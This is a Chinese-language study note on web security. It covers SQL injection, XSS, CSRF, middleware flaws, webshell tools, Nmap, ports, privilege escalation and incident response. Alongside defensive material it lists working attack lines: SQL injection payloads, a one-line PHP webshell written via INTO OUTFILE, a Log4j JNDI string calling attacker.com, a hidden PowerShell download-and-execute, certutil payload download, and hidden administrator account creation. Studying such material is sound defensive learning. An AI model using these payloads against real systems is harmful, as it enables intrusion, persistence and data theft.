文章

WEB方向学习笔记

WEB方向学习笔记

一、漏洞与攻击技术

OWASP TOP10

OWASP 是开放式 Web 安全项目组织 2021 安全漏洞 Top10

A01:2021-权限控制失效

A02:2021-加密机制失效

A03:2021-注入式攻击

A04:2021-不安全设计

A05:2021-安全设定缺陷

A06:2021-危险或过旧的组件

A07:2021-认证及验证机制失效

A08:2021-软件及资料完整性失效

A09:2021-安全记录及监控失效

A10:2021-服务器端请求伪造(SSRF)


SQL注入


一般的手工注入步骤

1 and 1=1(有回显),1 and 1=2(回显错误)说明存在SQL注入

使用order by 判断字段数量,从order by 1开始。然后使用union select 或 group_concat

union select 1,2

1
2
3
4
查库:select schema_name from information_schema.schemata 或 database()
查表:select table_name from information_schema.tables where table_schema='security'
查列:select column_name from information_schema.columns where table_name='users'
查字段:select username,password from security.users

group_concat:concat函数时将指定查询到的结果拼接之后以一列的形式列举出来,多个数据之间用逗号隔开,但是各个数据之间没有间距,空格需要自己添加并用单引号括起来

group_concat(xxx) from xxx (和上方的格式类似)

SQL注入攻击手法

  1. 联合查询注入

    通过UNION SELECT合并查询结果,获取数据库信息。最常见的注入方式之一

    1’ union select 1,2,database() –+

  2. 报错注入

    利用数据库报错信息回显数据。

    floor()、extractvalue()、updatexml()、geometrycollection()、multipoint()、polygon()、multipolygon()、linestring()、multilinestring()、exp()

  3. 布尔盲注

    根据页面返回的布尔值(真/假)推断数据(如AND 1=1)。

  4. 时间盲注

    通过延时函数sleep()判断条件是否成立。

  5. 堆叠注入

    执行多条SQL语句,两句代码以分号等方式隔开:select * from users where id=1;select 1,2,3;

  6. 文件读写

    select ‘’ into outfile ‘/var/www/c.php’ –+

  7. REGEXP 正则匹配

    在 SQL 注入攻击中,攻击者可能会利用 REGEXP 来绕过应用程序的安全检查或进行更复杂的查询。以下是一些可能的攻击方式:

    1. 绕过身份验证: 攻击者可以尝试插入正则表达式,以匹配多个用户名或密码。例如,如果应用程序的 SQL 查询如下:

      1
      
      SELECT * FROM users WHERE username = '$username' AND password = '$password';
      

      攻击者可能会输入:

      1
      2
      
      username: 'admin' OR username REGEXP '.*'
      password: 'password'
      

      这将导致查询返回所有用户,因为 REGEXP '.*' 会匹配任何用户名。

    2. 联合查询: 攻击者可以使用 REGEXP 来构造联合查询,尝试获取其他表的数据。例如:

      1
      
      SELECT * FROM users WHERE username REGEXP '.*' UNION SELECT * FROM admin';
      

      这将尝试合并用户表和管理员表的结果。

    利用PCRE绕过:union/‘+’a’1000001+’*/select

  8. 宽字节注入

    运用 GBK 与 UTF-8 编码不同来绕过转义

  9. 二次注入

    巧妙利用 update 等方式,用已有的数据进行注入

  10. User-Agent 注入
  11. 10,11 两种其实只是个注入位置的区别而已,可以采用 Burp 或者直接 Curl 构造 payload 实现

    Refer注入:Referer字段通常用于告诉服务器请求的来源,即用户是通过哪个页面或链接访问当前页面的。通俗的讲:需要向页面发送一个请求后,才会带上Reder字段。

  12. 过滤绕过

    union 绕过,双写绕过,注释绕过等。常用绕过空格过滤的方法:/**/、()、%0a

  13. 万能密码

    admin’ or ‘1’=’1 username = secpulse’=’ password = secpulse’=’ ffifdyop

SQL 防护

  1. 预编译

    String sql="select id,no from user where id=?";
    PreparedStatement ps=conn.prepareStatement(sql);
    ps.setInt(1,id);
    ps.executeQuery();
    

    采用了 PreparedStatement,就会将 sql 语句:”select id, no from user where id=?” 预先编译好也就是 SQL 引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该 sql 语句的语法结构了,因为语法分析已经完成了,而语法分析主要是分析 sql 命令,比如 select ,from ,where ,and, or ,order by 等等。 所以即使你后面输入了这些 sql 命令,也不会被当成 sql 命令来执行了,因为这些 sql 命令的执行,必须先的通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为 sql 命令来执行的,只会被当做字符串字面值参数。 所以 sql 语句预编译可以防御 sql 注入。

  2. PDO

    也是一种预编译的方式,常用在 PHP 的数据库查询上,绑定的参数不需要使用引号,也可以有效防止注入

  3. 正则表达式过滤

    实在不行,那就自己写过滤!

MySQL Getshell

  • 原理:利用SELECT ... INTO OUTFILE写入Webshell。

  • 条件:需secure_file_priv权限允许文件写入,且已知Web目录路径。

  • 示例

    1
    
    SELECT "<?php @eval($_POST['cmd']);?>" INTO OUTFILE '/var/www/html/shell.php';
    

SQLMap使用

自动化检测SQL注入(sqlmap -u "http://example.com?id=1")。

查表:sqlmap -u /?id=1 -current-db

查表:sqlmap -u /?id=1 -D security -tables

查列:sqlmap -u /?id=1 -D security -T users -columns

查字段: sqlmap -u /?id=1 -D security -T users -C flag -dump

XSS

  1. 反射型(非持久化):反射型 XSS 只是简单地把用户输入的数据 “反射” 给浏览器。也就是说,黑客往往需要诱使用户点击一个恶意链接,才能攻击成功
  2. 存储型(持久化):用户提交的数据会被存储在后端(不管是数据库、内存还是文件系统等),当攻击者提交的包含有 XSS 攻击的代码被存储在后端中,其他用户访问该页面的时候,后端会将数据取出来显示在页面上,这时候用户就会受到 XSS 攻击
  3. Dom-based 型:客户端的脚本程序可以动态地检查和修改页面内容,而不依赖于服务器端的数据。例如客户端如从 URL 中提取数据并在本地执行,如果用户在客户端输入的数据包含了恶意的 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到 DOM-based XSS 攻击。需要特别注意以下的用户输入源 document.URL、location.hash、location.search、document.referrer 等。

CSRF 攻击

CSRF 是跨站请求伪造攻击 一般来说,攻击者通过伪造用户的浏览器的请求,向访问一个用户自己曾经认证访问过的网站发送出去,使目标网站接收并误以为是用户的真实操作而去执行命令。常用于盗取账号、转账、发送虚假消息等。攻击者利用网站对请求的验证漏洞而实现这样的攻击行为,网站能够确认请求来源于用户的浏览器,却不能验证请求是否源于用户的真实意愿下的操作行为。

file

其中 Web A 为存在 CSRF 漏洞的网站,Web B 为攻击者构建的恶意网站,User C 为 Web A 网站的合法用户。

CSRF 攻击原理:

  1. 用户 C 打开浏览器,访问受信任网站 A,输入用户名和密码请求登录网站 A
  2. 在用户信息通过验证后,网站 A 产生 Cookie 信息并返回给浏览器,此时用户登录网站 A 成功,可以正常发送请求到网站 A
  3. 用户未退出网站 A 之前,在同一浏览器中,打开一个 TAB 页访问网站 B
  4. 网站 B 接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点 A
  5. 浏览器在接收到这些攻击性代码后,根据网站 B 的请求,在用户不知情的情况下携带 Cookie 信息,向网站 A 发出请求。网站 A 并不知道该请求其实是由 B 发起的,所以会根据用户 C 的 Cookie 信息以 C 的权限处理该请求,导致来自网站 B 的恶意代码被执行。

攻击范例

假设某银行网站 A 以 GET 请求来发起转账操作,转账的地址为

www.xxx.com/transfer.do?accountNum=l000l&money=10000

参数 accountNum 表示转账的账户,参数 money 表示转账金额。 而某大型论坛 B 上,一个恶意用户上传了一张图片,而图片的地址栏中填的并不是图片的地址,而是前而所说的砖账地址:

当你登录网站 A 后,没有及时登出,这时你访问了论坛 B,不幸的事情发生了,你会发现你的账号里面少了 10000 块… 为什么会这样呢,在你登录银行 A 时,你的浏览器端会生成银行 A 的 cookie,而当你访问论坛 B 的时候,页面上的标签需要浏览器发起一个新的 HTTP 请求,以获得图片资源,当浏览器发起请求时,请求的却是银行 A 的转账地址

www.xxx.com/transfer.do?accountNum=l000l&money=10000

并且会带上银行 A 的 cookie 信息,结果银行的服务器收到这个请求后,会以为是你发起的一次转账操作,因此你的账号里边便少了 10000 块。 当然,绝大多数网站都不会使用 GET 请求来进行数据更新,因此,攻击者也需要改变思路,与时俱进。 假设银行将其转账方式改成 POST 提交,而论坛 B 恰好又存在一个 XSS 漏洞,恶意用户在它的页面上植入如下代码:

    var form = document.forms('auto');
    form.submit();

如果你此时恰好登录了银行 A,且没有登出,当你打开上述页面后,脚本会将表单 aaa 提交,把 accountNum 和 money 参数传递给银行的转账地址

http://www.xxx.com/transfer.do

同样的,银行以为是你发起的一次转账会从你的账户中扣除 10000 块

常见利用

document.forms[0].submit(); 

CSRF 防御

  1. 尽量使用 POST
  2. 设置 HttpOnly
  3. 增加 Token
  4. 自定义 http 请求头

CSRF vs SSRF

1. 定义
  • CSRF:攻击者诱导用户在已认证的情况下向受害者网站发送请求,从而执行未授权的操作。攻击者利用用户的身份和权限来进行恶意操作。

  • SSRF:攻击者利用服务器向内部或外部资源发起请求,通常通过伪造请求的方式访问本不应被访问的资源。攻击者直接控制服务器发起请求。

2. 攻击目标
  • CSRF:目标是用户在网站上的身份,攻击者希望利用用户的权限进行操作(如转账、修改设置等)。

  • SSRF:目标是服务器本身,攻击者希望通过服务器访问内部服务、敏感数据或其他资源。

3. 攻击方式
  • CSRF:通常通过在恶意网站上嵌入请求(如表单、图像或脚本)来诱导用户点击,从而向受害者网站发送请求。

  • SSRF:攻击者通过提供恶意的 URL(例如在用户输入中)来诱导服务器发起请求,通常是通过 API 或其他服务。

4. 安全影响
  • CSRF:可能导致用户账户被攻击者控制,执行未授权的操作,影响用户数据和账户安全。

  • SSRF:可能导致服务器泄露内部信息、访问敏感服务,甚至在某些情况下可以导致远程代码执行或其他更严重的安全问题。

5. 防御措施
  • CSRF
    • 使用 CSRF 令牌(Token)来验证请求的合法性。
    • 检查请求来源(Referer)头部。
    • 对敏感操作使用双重验证(如确认密码)。
  • SSRF
    • 严格验证和过滤用户输入的 URL。
    • 使用白名单策略限制可访问的地址和端口。
    • 实施网络隔离,限制服务器对内部服务的访问。
总结

CSRF 和 SSRF 是两种不同类型的安全漏洞,分别针对用户身份和服务器本身。理解它们的区别和防御策略对于保护应用程序的安全至关重要。

常见的中间件漏洞

IIS,Apache,Nginx 是目前应用最广的三大 Web 服务器

IIS

IIS 是 Internet Information Services 的缩写,意为互联网信息服务,是由微软公司提供的基于运行 Microsoft Windows 的互联网基本服务

IIS 6 解析漏洞

基于文件名,该版本默认会将 *.asp;.jpg 此种格式的文件名,当成 Asp 解析,原理是服务器默认不解析;号及其后面的内容,相当于截断。

IIS 6 解析漏洞防护

  1. 限制上传目录执行权限,不允许执行脚本。
  2. 不允许新建目录。
  3. 上传的文件需经过重命名时间戳 + 随机数 +.jpg 等

Apache

AddHandler 导致的解析漏洞

如果运维人员给.php 后缀增加了处理器

1
AddHandler application/x-httpd-php.php 

那么,在有多个后缀的情况下,只要一个文件名中含有.php 后缀,即被识别成 PHP 文件,没必要是最后一个后缀。 防护同上 IIS 6

Nginx

配置文件错误导致的解析漏洞

  1. 可以直接获取诸如 index.php~,index.php.bak 等文件

  2. 对于任意文件名,在后面添加 /xxx.php(xxx 为任意字符)后,即可将文件作为 php 解析。

    1
    
    https://api.hz2016.com/a.png/a.php
    

防护

  1. 匹配对应文件,rewrite 返回 404
  2. 配置 cgi.fix_pathinfo (php.ini 中) 为 0 并重启 php-cgi 程序

Tomcat

Tomcat 任意文件写入(CVE-2017-12615)

indows+Tomcat 7.0.x + 配置文件 readonly=false 导致我们可以往服务器写文件

Weblogic

任意文件上传漏洞(CVE-2018-2894)

通过截获上传的时间戳找出真正的文件名达到 poc

Vulhub

Vulhub 是一个基于 docker 和 docker-compose 的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。 Vulhub 官网

内网渗透思路

  1. 代理穿透
  2. 权限维持
  3. 内网信息收集
  4. 口令爆破
  5. 凭据窃取
  6. 社工
  7. 横行和纵向渗透
  8. 拿下域控

其他攻击

PHP命令执行函数

  • system(), exec(), shell_exec(), passthru(), 反引号(`)。

Java反序列化

  • 原理:反序列化未验证的输入触发Gadget链(如Apache Commons Collections)。

DNS不出网绕过

  • 协议转换:使用HTTP/ICMP隧道(如DNS over HTTPS)。
  • 端口复用:复用已开放端口(如80/443)。

免杀Webshell

  • 方法:代码混淆、加密(AES)、动态函数调用、内存马。

XXE(XML外部实体注入)

  • 攻击:读取本地文件(file:///etc/passwd)、SSRF。
  • 防御:禁用外部实体解析。
1
DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

其他漏洞

Log4j漏洞(CVE-2021-44228)

  • 原理:JNDI注入漏洞(CVE-2021-44228),通过日志触发远程类加载。
  • Payload特征${jndi:ldap://attacker.com/exp},可能包含Base64编码。

Spring Boot RCE

  • CVE-2022-22965:通过数据绑定修改class.module属性触发恶意代码执行。
  • CVE-2022-22963:Spring Cloud Function的SpEL表达式注入。

二、工具与流量特征

蚁剑 / 菜刀 / 冰蝎异同

相同:都是用来连接 Web Shell 的工具 不同:冰蝎有流量动态加密

菜刀

菜刀 webshell 只使用了 url 编码 + base64 编码 shell 特征就是传输参数名为 z0,还存在 int_set (“display_erros”,”0″) 字符串特征

蚁剑

默认的蚁剑 shell,连接时会请求两次,其请求体只是经过 url 编码,其流量中也存在和蚁剑一样的代码 第一次请求,关闭报错和 magic_quotes,接下来去获取主机的信息 第二次请求,会把主机目录列出来

冰蝎 2.0

使用 aes 加密发起三次请求 第一次请求服务端产生密钥写入 session,session 和当前会话绑定,不同的客户端的密钥也是不同的 第二次请求是为了获取 key,第三次使用 key 的 aes 加密进行通信

冰蝎 3.0

使用 aes 加密发起两次请求 3.0 分析流量发现相比 2.0 少了动态密钥的获取的请求,不再使用随机生成 key,改为取连接密码的 md5 加密值的前 16 位作为密钥 一次请求为判断是否可以建立连接,少了俩次 get 获取冰蝎动态密钥的行为,第二次发送 phpinfo 等代码执行,获取网站的信息

哥斯拉

支持 n 种加密 采用了和冰蝎 3.0 一样的密钥交换方式,哥斯拉建立连接时会发起三次请求,第一次请求数据超级长,建立 session,第二三次请求确认连接

Burp 模块

  1. Dashboard (仪表盘)
  2. Target (目标)
  3. Proxy (代理)
  4. Intruder (侵入) 也就是爆破
  5. Repeater (重放)
  6. Sequencer (序列器)
  7. Decoder (解码器)
  8. Comparer (比较)
  9. Extender (扩展)
  10. Project options (项目选项)
  11. Options (用户选项)

Nmap 工具使用

Nmap 是主机扫描工具,他的图形化界面是 Zenmap,分布式框架为 Dnamp。 Nmap 可以完成以下任务: 主机探测、端口扫描、版本检测、系统检测 支持探测脚本的编写 Nmap 在实际中应用场合如下:

  1. 通过对设备或者防火墙的探测来审计它的安全性
  2. 探测目标主机所开放的端口
  3. 通过识别新的服务器审计网络的安全性
  4. 探测网络上的主机
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#扫描基础指令
-sT: TCP ()连接扫描,准确但留下大量日志记录
-sS: TCP SYN ()扫描,速度较快,不会留下日志
-sN: null 扫描,标志位全为 0,不适用 Windows
-sF: FIN 扫描,标志位 FIN=1,不适用 Windows
-O: 查看目标主机系统版本
-sV: 探测服务版本
-A: 全面扫描
#主机发现
-sL: List Scan 列表扫描,仅将指定的目标的IP列举出来,不进行主机发现。
-sn: Ping Scan 只进行主机发现,不进行端口扫描。
-Pn: 将所有指定的主机视作开启的,跳过主机发现的过程。
-PS/PA/PU/PY[portlist]: 使用TCPSYN/ACK或SCTP INIT/ECHO方式进行发现。
-PE/PP/PM: 使用ICMP echo, timestamp, and netmask 请求包发现主机。
-PO[protocollist]: 使用IP协议包探测对方主机是否开启。
-n/-R: -n表示不进行DNS解析;-R表示总是进行DNS解析。
--dns-servers : 指定DNS服务器。
--system-dns: 指定使用系统的DNS服务器
--traceroute: 追踪每个路由节点 版本侦测的
#版本侦测
-sV: 指定让Nmap进行版本侦测
--version-intensity : 指定版本侦测强度(0-9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。
--version-light: 指定使用轻量侦测方式 (intensity 2)
--version-all: 尝试使用所有的probes进行侦测 (intensity 9)

三、协议与端口

数据库及类型

在数据库领域,数据库可以分为两大类:关系型数据库和非关系型数据库。下面对这两类数据库及其示例进行详细解释。

关系型数据库

关系型数据库(RDBMS)使用结构化查询语言(SQL)来管理和操作数据,数据以表格的形式存储,表与表之间通过外键建立关系。关系型数据库适合于需要复杂查询和事务处理的应用场景。

  1. MySQL
    • 端口: 3306
    • 特点: 开源、跨平台,支持事务、ACID(原子性、一致性、隔离性、持久性)特性,广泛应用于Web应用程序。
  2. SQL Server
    • 端口: 1433
    • 特点: 由微软开发,支持丰富的功能,如数据分析、商业智能、报表等,适合于企业级应用。
  3. Oracle
    • 端口: 1521
    • 特点: 强大的企业级数据库,支持高可用性、数据安全和性能优化,常用于大型企业和关键任务应用。
  4. DB2
    • 端口: 5000
    • 特点: IBM 开发的数据库,支持多种数据格式和复杂查询,适用于大规模数据处理和分析。

非关系型数据库

非关系型数据库(NoSQL)不使用传统的表格结构,而是采用灵活的数据模型,适合于处理大规模、非结构化或半结构化的数据。它们通常支持更高的可扩展性和灵活性。

  1. MongoDB
    • 端口: 27017
    • 特点: 文档导向的数据库,数据以 BSON 格式存储(类似 JSON),灵活的数据模型使得它非常适合动态变化的数据结构。支持复杂查询,但不如关系型数据库强大。
  2. Redis
    • 端口: 6379
    • 特点: 内存数据结构存储,支持字符串、哈希、列表、集合等多种数据类型,主要用于缓存、实时分析和高性能数据存储。
  3. Memcached
    • 端口: 11211
    • 特点: 高性能的分布式内存对象缓存系统,主要用于加速动态Web应用程序,通过减轻数据库负载来提高性能。

总结

  • 关系型数据库适合需要复杂查询、事务处理和数据一致性的场景,数据结构严格且定义明确。
  • 非关系型数据库则更灵活,适合处理大规模、非结构化的数据,能够快速适应变化的需求。

选择使用哪种类型的数据库,通常取决于具体的应用需求、数据特性和性能要求。

正向代理和反向代理的区别

正向代理

正向代理类似跳板,通过正向代理机器访问外部互联网,如果正向代理机器在海外,可以连接 GFW 外部互联网

1
客户端<==>正向代理机器<==>互联网

正向代理可以收集用户上网信息,进行权限认证等

反向代理

反向代理类似镜像,实现对服务的转发,实际上对外相当于一台服务器

1
客户端<==>反向代理机器<==>目标机器

反向代理能有效分隔内网机器,防止攻击或者进行负载均衡

正向 SHELL 和反向 SHELL 的区别

正向 Shell:

攻击者连接被攻击者机器,可用于攻击者处于内网,被攻击者处于公网的情况。

反向 Shell:

被攻击者主动连接攻击者,可用于攻击者处于外网,被攻击者处于内网的情况。

常见端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
21 ftp        ftp的端口号20、21的区别一个是数据端口,一个是控制端口,控制端口一般为21
69 TFTP       (简单文件传输协议) 
22 SSH 
23 Telnet
80 web
80-89 web
443 https
445 SMB     ms17-010永恒之蓝攻击的端口
873 Rsync未授权 rsync是一种用于Unix/Linux系统的文件传输和同步工具。
1433 MSSQL
1521 Oracle
3306 MySQL
3389 远程桌面
5432 PostgreSQL
5900 vnc   目前常用的远程桌面协议有VNC/SPICE/RDP三种、小巧,支持客户端和服务器端的直接拷贝粘贴,缺点:速度最慢
6379 redis未授权 内存数据库
7001,7002 WebLogic默认弱口令,反序列 Java EE 应用服务器
8080 tomcat/WDCP主机管理系统,默认弱口令
8080,8089,9090 JBOSS (Java EE 应用服务器)
Jboss通常占用的端口是1098,1099,4444,4445,8080,8009,8083,8093这几个,
        默认端口是8080
        在windows系统中:
    1098、1099、4444、4445、8083端口在/jboss/server/default/conf/jboss-service.xml中
    8080端口在/jboss/server/default/deploy/jboss-web.deployer/server.xml中
    8093端口在/jboss/server/default/deploy/jms/uil2-service.xml中。
8000-9090 都是一些常见的web端口
27017,27018 Mongodb未授权访问
28017 mongodb统计页面
50070,50030 hadoop默认端口未授权访问
 
161 SNMP
389 LDAP
512,513,514 Rexec
1025,111 NFS
2082/2083 cpanel主机管理系统登陆 (国外用较多)
2222 DA虚拟主机管理系统登陆 (国外用较多)
2601,2604 zebra路由,默认密码zebra
3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了
3312/3311 kangle主机管理系统登陆
4440 rundeck(自动化运维工具) 参考WooYun: 借用新浪某服务成功漫游新浪内网
5984 CouchDB(NoSQL数据库) http://xxx:5984/_utils/
6082 varnish(HTTP反向代理缓存服务器) 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网
7778 Kloxo主机控制面板登录
8083 Vestacp主机管理系统 (国外用较多)
8649 ganglia
8888 amh/LuManager 主机管理系统默认端口
9200,9300 elasticsearch(搜索和分析引擎) 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 memcache(缓存系统)未授权访问
50000 SAP命令执行

三次握手与四次挥手

背景:TCP 位于传输层,作用是提供可靠的字节流服务,为了准确无误地将数据送达目的地,TCP 协议采纳三次握手四次挥手策略

三次握手(three-way handshaking)

TCP 三次握手,其实就是 TCP 应用在发送数据前,通过 TCP 协议跟通信对方协商好连接信息,建立起 TCP 的连接关系

  1. 第一次握手:客户端发送 SYN 报文,并进入 SYN-SENT 状态,等待服务器的确认
  2. 第二次握手:服务器收到 SYN 报文,需要给客户端发送 ACK 确认报文,同时服务器也要向客户端发送一个 SYN 报文,所以也就是向客户端发送 SYN + ACK 报文,此时服务器进入 SYN-RCVD 状态
  3. 第三次握手:客户端收到 SYN + ACK 报文,向服务器发送确认包,客户端进入 ESTABLISHED 状态。待服务器收到客户端发送的 ACK 包也会进入 ESTABLISHED 状态,完成三次握手

四次挥手(Four-Way-Wavehand)

当我们的应用程序不需要数据通信了,就会发起断开 TCP 连接。建立一个连接需要三次握手,而终止一个连接需要经过四次挥手

  1. 第一次挥手:客户端发送一个 FIN,用来关闭客户端到服务端的数据传送,客户端进入 FIN_WAIT_1 状态
  2. 第二次挥手:服务端收到 FIN 后,发送一个 ACK 给客户端,确认序号为收到序号 +1(与 SYN 相同,一个 FIN 占用一个序号),服务端进入 CLOSE-WAIT 状态
  3. 第三次挥手:服务端发送一个 FIN,用来关闭服务端到 客户端的数据传送,服务端进入 LAST-ACK 状态
  4. 第四次挥手:客户端收到 FIN 后,客户端进入 TIME_WAIT 状态,接着发送一个 ACK 给服务端,确认序号为收到序号 +1,服务端进入 CLOSED 状态,完成四次挥手

四、系统与命令

Windows 基础命令

type 显示文本内容 type 1.txt dir 显示当前目录内容

/b 显示文件夹或文件的名字 /s 显示指定目录和所有子目录中的文件

  1. 列出当前目录及其子目录中的所有文件和文件夹

    dir /s /b
    
  2. 列出特定目录中的所有文件和文件夹

    dir C:\Users\YourUsername\Documents /s /b
    
  3. 列出特定类型的文件(例如所有 .txt 文件):

    dir C:\Users\YourUsername\Documents\*.txt /s /b
    
  • 是通配符,可以代表任意字符串

del 删除文件 ipconfig 查看IP地址 ipconfig /all 查看所有ip配置信息 net user 查看用户 net user ad 查看用户权限 ad为用户名 net user username password /add username 和password为你要添加的账号和密码 net user username$ password /add 隐藏用户 net user username /del 删除 或者username$ 删除隐藏 net localgroup administrators username /add username为要添加管理员组别的用户 net localgroup administrators 查看所有用户包括隐藏 query user || qwinsta 查看管理员是否在线 tasklist /svc | find “Ter”,查找 TermService 的 PID netstat -ano | find “1592”,查看 TermService 使用的端口,如示例中的 3389 powershell -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://192.168.0.1/powershell.txt’))” powershell 隐藏执行下载脚本 certutil.exe -urlcache -split -f “文件下载地址” d:\test.exe 将文件下载到d盘命名为test.exe Certutil.exe是作为证书服务的一部分安装的命令行程序。 我们可以使用此工具在目标计算机上执行恶意EXE文件

Windows 提权类型与方法

类型

纵向提权:低权限角色获得高权限角色的权限 横向提权:获取同级别角色的权

方法

  1. 系统内核溢出漏洞提权
  2. 数据库提权
  3. 错误的系统配置提权
  4. 组策略首选项提权
  5. WEB 中间件漏洞提权
  6. DLL 劫持提权
  7. 滥用高危权限令牌提权
  8. 第三方软件 / 服务提权等

Linux 防火墙及应急处理

service iptables status # 查看防火墙状态 service iptables start #开启防火墙 service iptables stop #关闭防火墙 service iptables restart #重启防火墙

查看用户组

cat /etc/passwd #可以查看所有用户的列表 w #可以查看当前活跃的用户列表 cat /etc/group #查看用户组 groups #查看当前登录用户的组内成员 groups test #查看test用户所在的组,以及组内成员 whoami #查看当前登录用户名

查看进程

其中, -A:显示所有进程 a:显示终端中包括其它用户的所有进程 x:显示无控制终端的进程

#查看所有进程

ps aux | less ps -A ps -e #任务:查看非root运行的进程 ps -U root -u root -N #任务:查看用户vivek运行的进程 ps -u vivek #top命令提供了运行中系统的动态实时视图。在命令提示行中输入top: top #进程树 ps -ejH ps axjf #获得线程信息 ps -eLf ps axms #获得安全信息 ps -eo euser,ruser,suser,fuser,f,comm,label ps axZ ps -eM

Linux 端口查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#lsof -i:端口号查看某个端口的占用情况
lsof -i:8000
#更多lsof
lsof -i:8080:查看8080端口占用
lsof abc.txt:显示开启文件abc.txt的进程
lsof -c abc:显示abc进程现在打开的文件
lsof -c -p 1234:列出进程号为1234的进程所打开的文件
lsof -g gid:显示归属gid的进程情况
lsof +d /usr/local/:显示目录下被进程开启的文件
lsof +D /usr/local/:同上,但是会搜索目录下的目录,时间较长
lsof -d 4:显示使用fd为4的进程
lsof -i -U:显示所有打开的端口和UNIX domain文件
#netstat -tunlp 用于显示 tcp,udp 的端口和进程等相关情况。
netstat -tunlp | grep 端口号
netstat -ntlp   #查看当前所有tcp端口
netstat -ntulp | grep 80   #查看所有80端口使用情况
netstat -ntulp | grep 3306   #查看所有3306端口使用情况

Linux 提权

  1. Linux 内核漏洞提权

  2. SUID 提权(普通用户执行指令的标记)

    1
    
    find / -perm -u=s -type f 2>/dev/null
    

    查找 SUID 为 root 的指令

    根据得到的命令去查表:https://gtfobins.github.io/

    假设通过上面的三条命令中的任意一条找到了find是具有suid权限的,在上面的网址里搜索find即可

  3. 环境变量劫持高权限程序

  4. sudoer(用户组)配置文件错误提权

  5. pkexec 本地权限提升漏洞 (CVE-2021-4034)

HTTP特征

判断服务器类型

  • HTTP头Server: Apache/2.4.41
  • 文件后缀.aspx(IIS)、.jsp(Tomcat)。
  • 报错信息:PHP错误提示、Java堆栈跟踪。

五、防御与响应

应急响应流程

准备阶段

和客户确认事件背景、相关负责人联系方式、确定参与此次应急响应人员、根据客户描述,初步判定事件响应策略,携带应急响应工具包前往客户现场。

检测阶段

检测阶段确认入侵事件是否发生,如真发生了入侵事件,评估造成的危害(比如说判断是信息泄露还是被写码了)、范围以及发展的速度,事件会不会进一步升级

抑制阶段

本阶段主要任务是通过事件分析查明事件危害的方式,并且给出清除危害的解决方案 系统基本信息、网络排查、进程排查、注册表排查、计划任务排查、服务排查、关键目录排查、用户组排查、事件日志排查、webshell 排查、中间件日志排查、安全设备日志排查

恢复阶段

把受影响系统、设备、软件和应用服务还原到正常的工作状态 常见手段:系统重装、补丁加固、网络恢复、密码重置、木马清除等。

跟踪阶段

调查事件原因,输出应急响应报告,提供安全建议、加强安全教育、避免同类事件

应急相应一图流

Wireshark 简单的过滤规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#源ip
ip.src==1.1.1.1
#目的ip
ip.dst==1.1.1.1
#过滤80端口
tcp.port==80
#源端口
tcp.srcport==80
#目的端
tcp.dstport==80
#协议过滤:直接输入协议名即可,如 http 协议 
http
#http 模式过滤:过滤 get/post 包 
httprequest.mothod=="GET/POST"

常见取证分析工具

wireshark(流量包)、xplico、volatility(内存取证)、fastlr collector、autopsy、dumolt、ftk lmager、foremost、scalpel、bulik_exetractor

日志分析

Web 服务日志一图流 操作系统日志一图流

常见日志文件位置

  • IIS
    • Windows Server 2003 iis6 日志路径:
    • C:\Windows\System32\LogFiles
    • Windows Server 2008 R2、2012、2016、2019 iis7 以上日志路径:
    • C:\inetpub\logs\LogFiles
  • Apache
    • Apache+Windows
    • D:\xampp\apache\logs\access.log
    • Apache+Linux
    • /var/log/apache/access.log
    • /var/log/apache2/access.log
    • /var/log/httpd/access.log
  • nginx
    • /usr/local/nginx/logs
  • 常见格式内容
    • 访问的主机 IP
    • 请求时间
    • 请求方法、请求的 URL、采用的协议
    • HTTP 状态码

日志分析技巧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
1、列出当天访问次数最多的IP命令:
cut -d- -f 1 log_file|uniq -c | sort -rn | head -20
2、查看当天有多少个IP访问:
awk '{print $1}' log_file|sort|uniq|wc -l
3、查看某一个页面被访问的次数:
grep "/index.php" log_file | wc -l
4、查看每一个IP访问了多少个页面:
awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file
5、将每个IP访问的页面数进行从小到大排序:
awk '{++S[$1]} END {for (a in S) print S[a],a}' log_file | sort -n
6、查看某一个IP访问了哪些页面:
grep ^111.111.111.111 log_file| awk '{print $1,$7}'
7、去掉搜索引擎统计当天的页面:
awk '{print $12,$1}' log_file | grep ^\"Mozilla | awk '{print $2}' |sort | uniq | wc -l
8、查看2018年6月21日14时这一个小时内有多少IP访问:
awk '{print $4,$1}' log_file | grep 21/Jun/2018:14 | awk '{print $2}'| sort | uniq | wc -l
9、统计爬虫
grep -E 'Googlebot|Baiduspider' /www/logs/access.2019-02-23.log | awk '{ print $1 }' | sort | uniq
10、统计浏览器
cat /www/logs/access.2019-02-23.log | grep -v -E 'MSIE|Firefox|Chrome|Opera|Safari|Gecko|Maxthon' | sort | uniq -c | sort -r -n | head -n 100  
11、IP统计
grep '23/May/2019' /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3"."$4}' | sort | uniq -c | sort -r -n | head -n 10
12、统计网段
cat /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3".0"}' | sort | uniq -c | sort -r -n | head -n 200 
13、统计域名
